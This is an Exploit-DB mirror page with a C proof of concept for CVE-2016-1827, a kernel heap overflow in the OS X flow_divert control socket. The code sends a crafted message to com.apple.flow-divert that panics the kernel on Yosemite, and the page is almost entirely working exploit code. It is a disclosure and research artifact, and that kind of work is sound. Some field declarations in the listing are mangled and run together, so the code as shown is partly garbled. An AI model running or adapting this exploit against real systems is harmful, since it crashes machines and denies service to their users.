Apple OS X Yosemite – ‘flow_divert-heap-overflow’ Kernel Panic

  • 作者: Brandon Azad
    日期: 2017-01-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44238/
  • /*
     * flow_divert-heap-overflow.c
     * Brandon Azad
     *
     * CVE-2016-1827: Kernel heap overflow in the function flow_divert_handle_app_map_create on OS X
     * and iOS. Exploitation requires root privileges. The vulnerability was patched in OS X El Capitan
     * 10.11.5 and iOS 9.3.2.
     *
     * This proof-of-concept triggers a kernel panic on OS X Yosemite. In El Capitan the length fields
     * were changed from 64 bits to 32 bits, so the message structure will need to be updated
     * accordingly. This exploit has not been tested on iOS.
     * 
     * Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44238.zip
     */
    
    #include <net/if.h>
    #include <string.h>
    #include <sys/sys_domain.h>
    #include <sys/kern_control.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    
    int main() {
    	int ctlfd = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
    	if (ctlfd == -1) {
    		return 1;
    	}
    	struct ctl_info info = { .ctl_id = 0 };
    	strncpy(info.ctl_name, "com.apple.flow-divert", sizeof(info.ctl_name));
    	int err = ioctl(ctlfd, CTLIOCGINFO, &info);
    	if (err) {
    		return 2;
    	}
    	struct sockaddr_ctl addr = {
    		.sc_len = sizeof(addr),
    		.sc_family= AF_SYSTEM,
    		.ss_sysaddr = AF_SYS_CONTROL,
    	};
    	addr.sc_id = info.ctl_id;
    	addr.sc_unit = 0;
    	err = connect(ctlfd, (struct sockaddr *)&addr, sizeof(addr));
    	if (err) {
    		return 3;
    	}
    	struct __attribute__((packed)) {
    		uint8_ttype;
    		uint8_tpad1[3];
    		uint32_t conn_id;
    		uint8_tprefix_count_tag;
    		uint64_t prefix_count_length;
    		intprefix_count;
    		uint8_tsigning_id_tag;
    		uint64_t signing_id_length;
    		uint8_tsigning_id[512 + 4];
    	} message = {
    		.type= 9,
    		.conn_id = htonl(0),
    		.prefix_count_tag= 28,
    		.prefix_count_length = htonl(sizeof(int)),
    		.prefix_count= -2,
    		.signing_id_tag= 25,
    		.signing_id_length = htonl(sizeof(message.signing_id)),
    		.signing_id= { 0xaa },
    	};
    	write(ctlfd, &message, sizeof(message));
    	close(ctlfd);
    	return 4;
    }